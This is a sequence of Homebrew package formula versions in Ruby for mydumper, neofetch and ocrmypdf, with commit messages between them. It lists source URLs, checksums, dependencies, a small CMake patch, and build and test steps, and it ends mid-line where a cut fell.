"https://github.com/mydumper/mydumper/archive/v0.11.3-5.tar.gz" sha256 "94b3165378196e84ba271e152fb77d9a6ea944fd3707124bb35bfefaa41cf5fd" license "GPL-3.0-or-later" bottle do sha256 cellar: :any, arm64_big_sur: "3809c5584af68614529990810504ec3e5b754b103efbabbd2183ec2c6f02986e" sha256 cellar: :any, big_sur: "81640fc32d0cedf6ee428fdede75452f62b0404bc7195b15df1a52725d01c57e" sha256 cellar: :any, catalina: "2970e1b0cbe118d91cb28cbec52da2458debbdce93dc87c48009225b6c4fa3b2" sha256 cellar: :any_skip_relocation, x86_64_linux: "fe0119b21d41a1bd02dbd16a8a7e3fb9682e00b820e948a8d08e635a30dfa75e" end depends_on "cmake" => :build depends_on "pkg-config" => :build depends_on "sphinx-doc" => :build depends_on "glib" depends_on "mysql-client" depends_on "openssl@1.1" depends_on "pcre" uses_from_macos "zlib" on_linux do depends_on "gcc" end fails_with gcc: "5" def install # Override location of mysql-client args = std_cmake_args + %W[ -DMYSQL_CONFIG_PREFER_PATH=#{Formula["mysql-client"].opt_bin} -DMYSQL_LIBRARIES=#{Formula["mysql-client"].opt_lib/shared_library("libmysqlclient")} ] # find_package(ZLIB) has trouble on Big Sur since physical libz.dylib # doesn't exist on the filesystem. Instead provide details ourselves: if OS.mac? args << "-DCMAKE_DISABLE_FIND_PACKAGE_ZLIB=1" args << "-DZLIB_INCLUDE_DIRS=/usr/include" args << "-DZLIB_LIBRARIES=-lz" end system "cmake", ".", *args system "make", "install" end test do system bin/"mydumper", "--help" end end
class Mydumper < Formula desc "How MySQL DBA & support engineer would imagine 'mysqldump' ;-)" homepage "https://launchpad.net/mydumper" url "https://github.com/maxbube/mydumper/archive/v0.9.5.tar.gz" sha256 "544d434b13ec192976d596d9a7977f46b330f5ae3370f066dbe680c1a4697eb6" bottle do cellar :any sha256 "157bb28e44f0033093c6dc1e46ad6f72e72fb0ae39c9d480e4cff4d90b0a4384" => :catalina sha256 "d4a3a359cd266b24313e64204a8c99d8c1bfe0ec71fece2a31b8551bbb904eaa" => :mojave sha256 "2f3f2f488038ee040fe619c6f3c35efc414c97a18bfb04885a245528645f8ade" => :high_sierra end depends_on "cmake" => :build depends_on "pkg-config" => :build depends_on "sphinx-doc" => :build depends_on "glib" depends_on "mysql-client" depends_on "openssl@1.1" depends_on "pcre" # This patch allows cmake to find .dylib shared libs in macOS. A bug report has # been filed upstream here: https://bugs.launchpad.net/mydumper/+bug/1517966 # It also ignores .a libs because of an issue with glib's static libraries now # being included by default in homebrew. patch :p0, :DATA def install system "cmake", ".", *std_cmake_args system "make", "install" end test do system bin/"mydumper", "--help" end end __END__ --- cmake/modules/FindMySQL.cmake 2015-09-16 16:11:34.000000000 -0400 +++ cmake/modules/FindMySQL.cmake 2015-09-16 16:10:56.000000000 -0400 @@ -84,7 +84,7 @@ ) set(TMP_MYSQL_LIBRARIES "") -set(CMAKE_FIND_LIBRARY_SUFFIXES .so .a .lib .so.1) +set(CMAKE_FIND_LIBRARY_SUFFIXES .so .lib .dylib .so.1) foreach(MY_LIB ${MYSQL_ADD_LIBRARIES}) find_library("MYSQL_LIBRARIES_${MY_LIB}" NAMES ${MY_LIB} HINTS mydumper: add license class Mydumper < Formula desc "How MySQL DBA & support engineer would imagine 'mysqldump' ;-)" homepage "https://launchpad.net/mydumper" url "https://github.com/maxbube/mydumper/archive/v0.9.5.tar.gz" sha256 "544d434b13ec192976d596d9a7977f46b330f5ae3370f066dbe680c1a4697eb6" license "GPL-3.0" bottle do cellar :any sha256 "157bb28e44f0033093c6dc1e46ad6f72e72fb0ae39c9d480e4cff4d90b0a4384" => :catalina sha256 "d4a3a359cd266b24313e64204a8c99d8c1bfe0ec71fece2a31b8551bbb904eaa" => :mojave sha256 "2f3f2f488038ee040fe619c6f3c35efc414c97a18bfb04885a245528645f8ade" => :high_sierra end depends_on "cmake" => :build depends_on "pkg-config" => :build depends_on "sphinx-doc" => :build depends_on "glib" depends_on "mysql-client" depends_on "openssl@1.1" depends_on "pcre" # This patch allows cmake to find .dylib shared libs in macOS. A bug report has # been filed upstream here: https://bugs.launchpad.net/mydumper/+bug/1517966 # It also ignores .a libs because of an issue with glib's static libraries now # being included by default in homebrew. patch :p0, :DATA def install system "cmake", ".", *std_cmake_args system "make", "install" end test do system bin/"mydumper", "--help" end end __END__ --- cmake/modules/FindMySQL.cmake 2015-09-16 16:11:34.000000000 -0400 +++ cmake/modules/FindMySQL.cmake 2015-09-16 16:10:56.000000000 -0400 @@ -84,7 +84,7 @@ ) set(TMP_MYSQL_LIBRARIES "") -set(CMAKE_FIND_LIBRARY_SUFFIXES .so .a .lib .so.1) +set(CMAKE_FIND_LIBRARY_SUFFIXES .so .lib .dylib .so.1) foreach(MY_LIB ${MYSQL_ADD_LIBRARIES}) find_library("MYSQL_LIBRARIES_${MY_LIB}" NAMES ${MY_LIB} HINTS
class Neofetch < Formula desc "fast, highly customisable system info script" homepage "https://github.com/dylanaraps/neofetch" url "https://github.com/dylanaraps/neofetch/archive/3.0.tar.gz" sha256 "b5d3319474ff432c874dd39d38800ac8eb31da0b8e481b871ff4792f07fb67c4" head "https://github.com/dylanaraps/neofetch.git" bottle do cellar :any_skip_relocation rebuild 1 sha256 "d76acad31a6c94dc33602133fda65a1968b8403b5a42cb2cff96927137008b9d" => :sierra sha256 "d76acad31a6c94dc33602133fda65a1968b8403b5a42cb2cff96927137008b9d" => :el_capitan sha256 "d76acad31a6c94dc33602133fda65a1968b8403b5a42cb2cff96927137008b9d" => :yosemite end # Fixes config file detection now that neofetch stores the config in /usr/local/etc # Can be removed with the next release patch do url "https://github.com/dylanaraps/neofetch/commit/0fed289d58bb5f0675ebed37f5bb71b11ad54b9e.patch" sha256 "39dd55b268b515f22521e0dd2f1a31edd0b869cabf4c515142399906d9fa2d6d" end depends_on "screenresolution" => :recommended if OS.mac? depends_on "imagemagick" => :recommended def install inreplace "Makefile", "$(DESTDIR)/etc", "$(DESTDIR)$(SYSCONFDIR)" system "make", "install", "PREFIX=#{prefix}", "SYSCONFDIR=#{etc}" end test do system "#{bin}/neofetch", "--test", "--config off" end end neofetch: update 3.0 bottle for Linuxbrew. Closes Linuxbrew/homebrew-core#1664. Signed-off-by: Shaun Jackman <b580dab3251a9622aba3803114310c23fdb42900@gmail.com> class Neofetch < Formula desc "fast, highly customisable system info script" homepage "https://github.com/dylanaraps/neofetch" url "https://github.com/dylanaraps/neofetch/archive/3.0.tar.gz" sha256 "b5d3319474ff432c874dd39d38800ac8eb31da0b8e481b871ff4792f07fb67c4" head "https://github.com/dylanaraps/neofetch.git" bottle do cellar :any_skip_relocation rebuild 1 sha256 "d76acad31a6c94dc33602133fda65a1968b8403b5a42cb2cff96927137008b9d" => :sierra sha256 "d76acad31a6c94dc33602133fda65a1968b8403b5a42cb2cff96927137008b9d" => :el_capitan sha256 "d76acad31a6c94dc33602133fda65a1968b8403b5a42cb2cff96927137008b9d" => :yosemite sha256 "b923058d30fd560282317b649aac773586d62bd487f679f383366e20ed3fe14d" => :x86_64_linux end # Fixes config file detection now that neofetch stores the config in /usr/local/etc # Can be removed with the next release patch do url "https://github.com/dylanaraps/neofetch/commit/0fed289d58bb5f0675ebed37f5bb71b11ad54b9e.patch" sha256 "39dd55b268b515f22521e0dd2f1a31edd0b869cabf4c515142399906d9fa2d6d" end depends_on "screenresolution" => :recommended if OS.mac? depends_on "imagemagick" => :recommended def install inreplace "Makefile", "$(DESTDIR)/etc", "$(DESTDIR)$(SYSCONFDIR)" system "make", "install", "PREFIX=#{prefix}", "SYSCONFDIR=#{etc}" end test do system "#{bin}/neofetch", "--test", "--config off" end end
class Ocrmypdf < Formula include Language::Python::Virtualenv desc "Adds an OCR text layer to scanned PDF files" homepage "https://github.com/jbarlow83/OCRmyPDF" url "https://files.pythonhosted.org/packages/50/d5/67ada5ade12fc0021f17932f43888999e0e06e5f36351e914381d56435b5/ocrmypdf-9.6.1.tar.gz" sha256 "0c84eabe943f385d0c869fa1e1383207778455661ba16775039de2e2acca6b6b" bottle do cellar :any sha256 "c32af11e3a351e43dbab9e07ecc4dd1413fcfd370145810782ef0874df7b7c63" => :catalina sha256 "ff8aca4f42685a5264f0768a265500af7aa23a9ca99ceb3fcc06c130738af19a" => :mojave sha256 "aa4c2b610168e0ccd7ec648ede689526dd659155e34a9cc34c41deeafa85a219" => :high_sierra end depends_on "pkg-config" => :build depends_on "freetype" depends_on "ghostscript" depends_on "jbig2enc" depends_on "jpeg" depends_on "leptonica" depends_on "libpng" depends_on "libxml2" depends_on "pngquant" depends_on "pybind11" depends_on "python" depends_on "qpdf" depends_on "tesseract" depends_on "unpaper" uses_from_macos "libffi" uses_from_macos "libxml2" uses_from_macos "libxslt" uses_from_macos "zlib" resource "cffi" do url "https://files.pythonhosted.org/packages/05/54/3324b0c46340c31b909fcec598696aaec7ddc8c18a63f2db352562d3354c/cffi-1.14.0.tar.gz" sha256 "2d384f4a127a15ba701207f7639d94106693b6cd64173d6c8988e2c25f3ac2b6" end resource "chardet" do url "https://files.pythonhosted.org/packages/fc/bb/a5768c230f9ddb03acc9ef3f0d4a3cf93462473795d18e9535498c8f929d/chardet-3.0.4.tar.gz" sha256 "84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae" end resource "img2pdf" do url "https://files.pythonhosted.org/packages/e0/c6/7cd14232a1b10bf884c12daf3626afb76c4f60b52ae0eb23ce1519542ae4/img2pdf-0.3.3.tar.gz" sha256 "9d77c17ee65a736abe92ef8cba9cca009c064ea4ed74492c01aea596e41856cf" end resource "lxml" do url "https://files.pythonhosted.org/packages/39/2b/0a66d5436f237aff76b91e68b4d8c041d145ad0a2cdeefe2c42f76ba2857/lxml-4.5.0.tar.gz" sha256 "8620ce80f50d023d414183bf90cc2576c2837b88e00bea3f33ad2630133bbb60" end resource "pdfminer.six" do url "https://files.pythonhosted.org/packages/9f/c0/4a106c354cff69c6946aab857766616e72208d7cce0ad3e78aa356c6d34c/pdfminer.six-20200124.tar.gz" sha256 "9f34f8f61cd72ae23ef572e0ea1c93cd2b1e4a6d1137d14ed23763b5b2094e13" end resource "pikepdf" do url "https://files.pythonhosted.org/packages/a4/07/ecd0871658ba29fc549d40ec2235decc8a43a08ccd115addcc6e9336f72f/pikepdf-1.10.2.tar.gz" sha256 "cb95318058f2aea96b703fff7d647db16b2c751f48bceca92da5922f855724f9" end resource "Pillow" do url "https://files.pythonhosted.org/packages/39/47/f28067b187dd664d205f75b07dcc6e0e95703e134008a14814827eebcaab/Pillow-7.0.0.tar.gz" sha256 "4d9ed9a64095e031435af120d3c910148067087541131e82b3e8db302f4c8946" end resource "pycparser" do url "https://files.pythonhosted.org/packages/0f/86/e19659527668d70be91d0369aeaa055b4eb396b0f387a4f92293a20035bd/pycparser-2.20.tar.gz" sha256 "2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0" end resource "pycryptodome" do url "https://files.pythonhosted.org/packages/69/2a/298b2689bee8e88c502c7e85ba1c9f07c7e182ea91c705c449f693056c9f/pycryptodome-3.9.7.tar.gz" sha256 "f1add21b6d179179b3c177c33d18a2186a09cc0d3af41ff5ed3f377360b869f2" end resource "reportlab" do url "https://files.pythonhosted.org/packages/0f/0b/bce8f4a6641c30889fd82b50665f0f7521d633bfd3360af2c11b8b2200af/reportlab-3.5.34.tar.gz" sha256 "9675a26d01ec141cb717091bb139b6227bfb3794f521943101da50327bff4825" end resource "sortedcontainers" do url "https://files.pythonhosted.org/packages/29/e0/135df2e733790a3d3bcda970fd080617be8cea3bd98f411e76e6847c17ef/sortedcontainers-2.1.0.tar.gz" sha256 "974e9a32f56b17c1bac2aebd9dcf197f3eb9cd30553c5852a3187ad162e1a03a" end resource "tqdm" do url "https://files.pythonhosted.org/packages/7a/cf/625e53bb8c6ad88302192c7aa50d45cdfb2b0fe97892869ec3dd9309f67f/tqdm-4.43.0.tar.gz" sha256 "f35fb121bafa030bd94e74fcfd44f3c2830039a2ddef7fc87ef1c2d205237b24" end def install venv = virtualenv_create(libexec, "python3") resource("Pillow").stage do inreplace "setup.py" do |s| if OS.mac? sdkprefix = MacOS.sdk_path_if_needed ? MacOS.sdk_path : "" s.gsub! "openjpeg.h", "probably_not_a_header_called_this_eh.h" s.gsub! "ZLIB_ROOT = None", "ZLIB_ROOT = ('#{sdkprefix}/usr/lib', '#{sdkprefix}/usr/include')" else s.gsub! "ZLIB_ROOT = None", "ZLIB_ROOT = ('#{Formula["zlib"].opt_prefix}/lib', '#{Formula["zlib"].opt_prefix}/include')" end s.gsub! "JPEG_ROOT = None", "JPEG_ROOT = ('#{Formula["jpeg"].opt_prefix}/lib', '#{Formula["jpeg"].opt_prefix}/include')" s.gsub! "FREETYPE_ROOT = None", "FREETYPE_ROOT = ('#{Formula["freetype"].opt_prefix}/lib', '#{Formula["freetype"].opt_prefix}/include')" end # avoid triggering "helpful" distutils code that doesn't recognize Xcode 7 .tbd stubs ENV.append "CFLAGS", "-I#{MacOS.sdk_path}/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers" if OS.mac? && !MacOS::CLT.installed? venv.pip_install Pathname.pwd end # Fix "ld: file not found: /usr/lib/system/libsystem_darwin.dylib" for lxml ENV["SDKROOT"] = MacOS.sdk_path if OS.mac? && MacOS.version == :sierra res = resources.map(&:name).to_set - ["Pillow"] res.each do |r| venv.pip_install resource(r) end venv.pip_install_and_link buildpath bash_completion.install "misc/completion/ocrmypdf.bash" => "ocrmypdf" fish_completion.install "misc/completion/ocrmypdf.fish" end test do system "#{bin}/ocrmypdf", "-f", "-q", "--deskew", test_fixtures("test.pdf"), "ocr.pdf" assert_predicate testpath/"ocr.pdf", :exist? end end ocrmypdf: update 9.6.1 bottle. class Ocrmypdf < Formula include Language::Python::Virtualenv desc "Adds an OCR text layer to scanned PDF files" homepage "https://github.com/jbarlow83/OCRmyPDF" url "https://files.pythonhosted.org/packages/50/d5/67ada5ade12fc0021f17932f43888999e0e06e5f36351e914381d56435b5/ocrmypdf-9.6.1.tar.gz" sha256 "0c84eabe943f385d0c869fa1e1383207778455661ba16775039de2e2acca6b6b" bottle do cellar :any sha256 "c32af11e3a351e43dbab9e07ecc4dd1413fcfd370145810782ef0874df7b7c63" => :catalina sha256 "ff8aca4f42685a5264f0768a265500af7aa23a9ca99ceb3fcc06c130738af19a" => :mojave sha256 "aa4c2b610168e0ccd7ec648ede689526dd659155e34a9cc34c41deeafa85a219" => :high_sierra sha256 "c02f970e73a73272d26bcde8fbbee677ca3062afa50e2e1e810ded046bf9726e" => :x86_64_linux end depends_on "pkg-config" => :build depends_on "freetype" depends_on "ghostscript" depends_on "jbig2enc" depends_on "jpeg" depends_on "leptonica" depends_on "libpng" depends_on "libxml2" depends_on "pngquant" depends_on "pybind11" depends_on "python" depends_on "qpdf" depends_on "tesseract" depends_on "unpaper" uses_from_macos "libffi" uses_from_macos "libxml2" uses_from_macos "libxslt" uses_from_macos "zlib" resource "cffi" do url "https://files.pythonhosted.org/packages/05/54/3324b0c46340c31b909fcec598696aaec7ddc8c18a63f2db352562d3354c/cffi-1.14.0.tar.gz" sha256 "2d384f4a127a15ba701207f7639d94106693b6cd64173d6c8988e2c25f3ac2b6" end resource "chardet" do url "https://files.pythonhosted.org/packages/fc/bb/a5768c230f9ddb03acc9ef3f0d4a3cf93462473795d18e9535498c8f929d/chardet-3.0.4.tar.gz" sha256 "84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae" end resource "img2pdf" do url "https://files.pythonhosted.org/packages/e0/c6/7cd14232a1b10bf884c12daf3626afb76c4f60b52ae0eb23ce1519542ae4/img2pdf-0.3.3.tar.gz" sha256 "9d77c17ee65a736abe92ef8cba9cca009c064ea4ed74492c01aea596e41856cf" end resource "lxml" do url "https://files.pythonhosted.org/packages/39/2b/0a66d5436f237aff76b91e68b4d8c041d145ad0a2cdeefe2c42f76ba2857/lxml-4.5.0.tar.gz" sha256 "8620ce80f50d023d414183bf90cc2576c2837b88e00bea3f33ad2630133bbb60" end resource "pdfminer.six" do url "https://files.pythonhosted.org/packages/9f/c0/4a106c354cff69c6946aab857766616e72208d7cce0ad3e78aa356c6d34c/pdfminer.six-20200124.tar.gz" sha256 "9f34f8f61cd72ae23ef572e0ea1c93cd2b1e4a6d1137d14ed23763b5b2094e13" end resource "pikepdf" do url "https://files.pythonhosted.org/packages/a4/07/ecd0871658ba29fc549d40ec2235decc8a43a08ccd115addcc6e9336f72f/pikepdf-1.10.2.tar.gz" sha256 "cb95318058f2aea96b703fff7d647db16b2c751f48bceca92da5922f855724f9" end resource "Pillow" do url "https://files.pythonhosted.org/packages/39/47/f28067b187dd664d205f75b07dcc6e0e95703e134008a14814827eebcaab/Pillow-7.0.0.tar.gz" sha256 "4d9ed9a64095e031435af120d3c910148067087541131e82b3e8db302f4c8946" end resource "pycparser" do url "https://files.pythonhosted.org/packages/0f/86/e19659527668d70be91d0369aeaa055b4eb396b0f387a4f92293a20035bd/pycparser-2.20.tar.gz" sha256 "2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0" end resource "pycryptodome" do url "https://files.pythonhosted.org/packages/69/2a/298b2689bee8e88c502c7e85ba1c9f07c7e182ea91c705c449f693056c9f/pycryptodome-3.9.7.tar.gz" sha256 "f1add21b6d179179b3c177c33d18a2186a09cc0d3af41ff5ed3f377360b869f2" end resource "reportlab" do url "https://files.pythonhosted.org/packages/0f/0b/bce8f4a6641c30889fd82b50665f0f7521d633bfd3360af2c11b8b2200af/reportlab-3.5.34.tar.gz" sha256 "9675a26d01ec141cb717091bb139b6227bfb3794f521943101da50327bff4825" end resource "sortedcontainers" do url "https://files.pythonhosted.org/packages/29/e0/135df2e733790a3d3bcda970fd080617be8cea3bd98f411e76e6847c17ef/sortedcontainers-2.1.0.tar.gz" sha256 "974e9a32f56b17c1bac2aebd9dcf197f3eb9cd30553c5852a3187ad162e1a03a" end resource "tqdm" do url "https://files.pythonhosted.org/packages/7a/cf/625e53bb8c6ad88302192c7aa50d45cdfb2b0fe97892869ec3dd9309f67f/tqdm-4.43.0.tar.gz" sha256 "f35fb121bafa030bd94e74fcfd44f3c2830039a2ddef7fc87ef1c2d205237b24" end def install venv = virtualenv_create(libexec, "python3") resource("Pillow").stage do inreplace "setup.py" do |s| if OS.mac? sdkprefix = MacOS.sdk_path_if_needed ? MacOS.sdk_path : "" s.gsub! "openjpeg.h", "probably_not_a_header_called_this_eh.h" s.gsub! "ZLIB_ROOT = None", "ZLIB_ROOT = ('#{sdkprefix}/usr/lib', '#{sdkprefix}/usr/include')" else s.gsub! "ZLIB_ROOT = None", "ZLIB_ROOT = ('#{Formula["zlib"].opt_prefix}/lib', '#{Formula["zlib"].opt_prefix}/include')" end s.gsub! "JPEG_ROOT = None", "JPEG_ROOT = ('#{Formula["jpeg"].opt_prefix}/lib', '#{Formula["jpeg"].opt_prefix}/include')" s.gsub! "FREETYPE_ROOT = None", "FREETYPE_ROOT = ('#{Formula["freetype"].opt_prefix}/lib', '#{Formula["freetype"].opt_prefix}/include')" end # avoid triggering "helpful" distutils code that doesn't recognize Xcode 7 .tbd stubs ENV.append "CFLAGS", "-I#{MacOS.sdk_path}/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers" if OS.mac? && !MacOS::CLT.installed? venv.pip_install Pathname.pwd end # Fix "ld: file not found: /usr/lib/system/libsystem_darwin.dylib" for lxml ENV["SDKROOT"] = MacOS.sdk_path if OS.mac? && MacOS.version == :sierra res = resources.map(&:name).to_set - ["Pillow"] res.each do |r| venv.pip_install resource(r) end venv.pip_install_and_link buildpath bash_completion.install "misc/completion/ocrmypdf.bash" => "ocrmypdf" fish_completion.install "misc/completion/ocrmypdf.fish" end test do system "#{bin}/ocrmypdf", "-f", "-q", "--deskew", test_fixtures("test.pdf"), "ocr.pdf" assert_predicate testpath/"ocr.pdf", :exist? end end
class Ocrmypdf < Formula include Language::Python::Virtualenv desc "Adds an OCR text layer to scanned PDF files" homepage "https://github.com/jbarlow83/OCRmyPDF" url "https://files.pythonhosted.org/packages/4d/13/a9969946ee6a02a3dfc89fb487b8039bd93940036c43715f35760beb18eb/ocrmypdf-9.7.1.tar.gz" sha256 "fd029b97463e054d95eed361843397a76b2aa35913ac96c57cf8c15a15411971" revision 1 bottle do cellar :any sha256 "a2bbdc326806920a37d9f139f1eeff625b9229fe7f4d6232751af1378d586d67" => :catalina sha256 "5a385c360f961bcbd64d5d3b29e876754cb2bc93aeb7980257fadd466956d35e" => :mojave sha256 "003d2a9ac04361630f7ce04f50fa69ee5f056c2eb1bb1c7e8efa4d06fbcda307" => :high_sierra end depends_on "pkg-config" => :build depends_on "freetype" depends_on "ghostscript" depends_on "jbig2enc" depends_on "jpeg" depends_on "leptonica" depends_on "libpng" depends_on "pngquant" depends_on "pybind11" depends_on "python@3.8" depends_on "qpdf" depends_on "tesseract" depends_on "unpaper" uses_from_macos "libffi" uses_from_macos "libxml2" uses_from_macos "libxslt" uses_from_macos "zlib" resource "cffi" do url "https://files.pythonhosted.org/packages/05/54/3324b0c46340c31b909fcec598696aaec7ddc8c18a63f2db352562d3354c/cffi-1.14.0.tar.gz" sha256 "2d384f4a127a15ba701207f7639d94106693b6cd64173d6c8988e2c25f3ac2b6" end resource "chardet" do url "https://files.pythonhosted.org/packages/fc/bb/a5768c230f9ddb03acc9ef3f0d4a3cf93462473795d18e9535498c8f929d/chardet-3.0.4.tar.gz" sha256 "84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae" end resource "img2pdf" do url "https://files.pythonhosted.org/packages/e0/c6/7cd14232a1b10bf884c12daf3626afb76c4f60b52ae0eb23ce1519542ae4/img2pdf-0.3.3.tar.gz" sha256 "9d77c17ee65a736abe92ef8cba9cca009c064ea4ed74492c01aea596e41856cf" end resource "lxml" do url "https://files.pythonhosted.org/packages/39/2b/0a66d5436f237aff76b91e68b4d8c041d145ad0a2cdeefe2c42f76ba2857/lxml-4.5.0.tar.gz" sha256 "8620ce80f50d023d414183bf90cc2576c2837b88e00bea3f33ad2630133bbb60" end resource "pdfminer.six" do url "https://files.pythonhosted.org/packages/9f/c0/4a106c354cff69c6946aab857766616e72208d7cce0ad3e78aa356c6d34c/pdfminer.six-20200124.tar.gz" sha256 "9f34f8f61cd72ae23ef572e0ea1c93cd2b1e4a6d1137d14ed23763b5b2094e13" end resource "pikepdf" do url "https://files.pythonhosted.org/packages/96/6b/fa2619a014453b67c3152222a1fdaeda84d6ce30dd9bf799760fe6946456/pikepdf-1.11.0.tar.gz" sha256 "bad914a8b1d9be0a7451feba29f25dbc47e14aed85fdb11bfa1b3405a3ca3a6d" end resource "Pillow" do url "https://files.pythonhosted.org/packages/39/47/f28067b187dd664d205f75b07dcc6e0e95703e134008a14814827eebcaab/Pillow-7.0.0.tar.gz" sha256 "4d9ed9a64095e031435af120d3c910148067087541131e82b3e8db302f4c8946" end resource "pycparser" do url "https://files.pythonhosted.org/packages/0f/86/e19659527668d70be91d0369aeaa055b4eb396b0f387a4f92293a20035bd/pycparser-2.20.tar.gz" sha256 "2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0" end resource "pycryptodome" do url "https://files.pythonhosted.org/packages/69/2a/298b2689bee8e88c502c7e85ba1c9f07c7e182ea91c705c449f693056c9f/pycryptodome-3.9.7.tar.gz" sha256 "f1add21b6d179179b3c177c33d18a2186a09cc0d3af41ff5ed3f377360b869f2" end resource "reportlab" do url "https://files.pythonhosted.org/packages/0f/0b/bce8f4a6641c30889fd82b50665f0f7521d633bfd3360af2c11b8b2200af/reportlab-3.5.34.tar.gz" sha256 "9675a26d01ec141cb717091bb139b6227bfb3794f521943101da50327bff4825" end resource "sortedcontainers" do url "https://files.pythonhosted.org/packages/29/e0/135df2e733790a3d3bcda970fd080617be8cea3bd98f411e76e6847c17ef/sortedcontainers-2.1.0.tar.gz" sha256 "974e9a32f56b17c1bac2aebd9dcf197f3eb9cd30553c5852a3187ad162e1a03a" end resource "tqdm" do url "https://files.pythonhosted.org/packages/7a/cf/625e53bb8c6ad88302192c7aa50d45cdfb2b0fe97892869ec3dd9309f67f/tqdm-4.43.0.tar.gz" sha256 "f35fb121bafa030bd94e74fcfd44f3c2830039a2ddef7fc87ef1c2d205237b24" end def install venv = virtualenv_create(libexec, Formula["python@3.8"].bin/"python3") resource("Pillow").stage do inreplace "setup.py" do |s| sdkprefix = MacOS.sdk_path_if_needed ? MacOS.sdk_path : "" s.gsub! "openjpeg.h", "probably_not_a_header_called_this_eh.h" s.gsub! "ZLIB_ROOT = None", "ZLIB_ROOT = ('#{sdkprefix}/usr/lib', '#{sdkprefix}/usr/include')" s.gsub! "JPEG_ROOT = None", "JPEG_ROOT = ('#{Formula["jpeg"].opt_prefix}/lib', '#{Formula["jpeg"].opt_prefix}/include')" s.gsub! "FREETYPE_ROOT = None", "FREETYPE_ROOT = ('#{Formula["freetype"].opt_prefix}/lib', " \ "'#{Formula["freetype"].opt_prefix}/include')" end # avoid triggering "helpful" distutils code that doesn't recognize Xcode 7 .tbd stubs unless MacOS::CLT.installed? ENV.append "CFLAGS", "-I#{MacOS.sdk_path}/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers" end venv.pip_install Pathname.pwd end # Fix "ld: file not found: /usr/lib/system/libsystem_darwin.dylib" for lxml ENV["SDKROOT"] = MacOS.sdk_path if MacOS.version == :sierra res = resources.map(&:name).to_set - ["Pillow"] res.each do |r| venv.pip_install resource(r) end venv.pip_install_and_link buildpath bash_completion.install "misc/completion/ocrmypdf.bash" => "ocrmypdf" fish_completion.install "misc/completion/ocrmypdf.fish" end test do system "#{bin}/ocrmypdf", "-f", "-q", "--deskew", test_fixtures("test.pdf"), "ocr.pdf" assert_predicate testpath/"ocr.pdf", :exist? end end ocrmypdf 9.7.2 Closes #53223. Signed-off-by: Bo Anderson <1d6e1cf70ec6f9ab28d3ea4b27a49a77654d370e@boanderson.me> class Ocrmypdf < Formula include Language::Python::Virtualenv desc "Adds an OCR text layer to scanned PDF files" homepage "https://github.com/jbarlow83/OCRmyPDF" url "https://files.pythonhosted.org/packages/03/f2/71cd4de6bdb1a9b2c415239c7f7ee271b3f4ad9f70d56197c74749088255/ocrmypdf-9.7.2.tar.gz" sha256 "9809a443067de3b41169790e3c109d1a37d803f1eecf62e33d44cfaefa07626f" bottle do cellar :any sha256 "a2bbdc326806920a37d9f139f1eeff625b9229fe7f4d6232751af1378d586d67" => :catalina sha256 "5a385c360f961bcbd64d5d3b29e876754cb2bc93aeb7980257fadd466956d35e" => :mojave sha256 "003d2a9ac04361630f7ce04f50fa69ee5f056c2eb1bb1c7e8efa4d06fbcda307" => :high_sierra end depends_on "pkg-config" => :build depends_on "freetype" depends_on "ghostscript" depends_on "jbig2enc" depends_on "jpeg" depends_on "leptonica" depends_on "libpng" depends_on "pngquant" depends_on "pybind11" depends_on "python@3.8" depends_on "qpdf" depends_on "tesseract" depends_on "unpaper" uses_from_macos "libffi" uses_from_macos "libxml2" uses_from_macos "libxslt" uses_from_macos "zlib" resource "cffi" do url "https://files.pythonhosted.org/packages/05/54/3324b0c46340c31b909fcec598696aaec7ddc8c18a63f2db352562d3354c/cffi-1.14.0.tar.gz" sha256 "2d384f4a127a15ba701207f7639d94106693b6cd64173d6c8988e2c25f3ac2b6" end resource "chardet" do url "https://files.pythonhosted.org/packages/fc/bb/a5768c230f9ddb03acc9ef3f0d4a3cf93462473795d18e9535498c8f929d/chardet-3.0.4.tar.gz" sha256 "84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae" end resource "img2pdf" do url "https://files.pythonhosted.org/packages/f4/f8/0dff30a3bf2a46ebda2dc59c513b3384ee6320d16c242f512dba9fe427d6/img2pdf-0.3.4.tar.gz" sha256 "0b482b7f317b76051fabf6e50e5eea1584b20bdf76b6b54c16b6ef1d5298ee49" end resource "lxml" do url "https://files.pythonhosted.org/packages/39/2b/0a66d5436f237aff76b91e68b4d8c041d145ad0a2cdeefe2c42f76ba2857/lxml-4.5.0.tar.gz" sha256 "8620ce80f50d023d414183bf90cc2576c2837b88e00bea3f33ad2630133bbb60" end resource "pdfminer.six" do url "https://files.pythonhosted.org/packages/7e/5c/005dacc83be82de399f20355e6deb89791d9b81d286e961730c8e85558f8/pdfminer.six-20200402.tar.gz" sha256 "dd163540391ac8b50c74f0c40f21b7c0a350591d72d516714aa198d103f306a3" end resource "pikepdf" do url "https://files.pythonhosted.org/packages/ba/84/eff1f7803fa43614e139b30ecf3f7ccfdccaa23b73209535358c3b7f3a2c/pikepdf-1.11.1.tar.gz" sha256 "c6a061bab765134d74698f0ec0b9cdd231d95158716535d2518c9044291c0ffc" end resource "Pillow" do url "https://files.pythonhosted.org/packages/39/47/f28067b187dd664d205f75b07dcc6e0e95703e134008a14814827eebcaab/Pillow-7.0.0.tar.gz" sha256 "4d9ed9a64095e031435af120d3c910148067087541131e82b3e8db302f4c8946" end resource "pycparser" do url "https://files.pythonhosted.org/packages/0f/86/e19659527668d70be91d0369aeaa055b4eb396b0f387a4f92293a20035bd/pycparser-2.20.tar.gz" sha256 "2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0" end resource "pycryptodome" do url "https://files.pythonhosted.org/packages/69/2a/298b2689bee8e88c502c7e85ba1c9f07c7e182ea91c705c449f693056c9f/pycryptodome-3.9.7.tar.gz" sha256 "f1add21b6d179179b3c177c33d18a2186a09cc0d3af41ff5ed3f377360b869f2" end resource "reportlab" do url 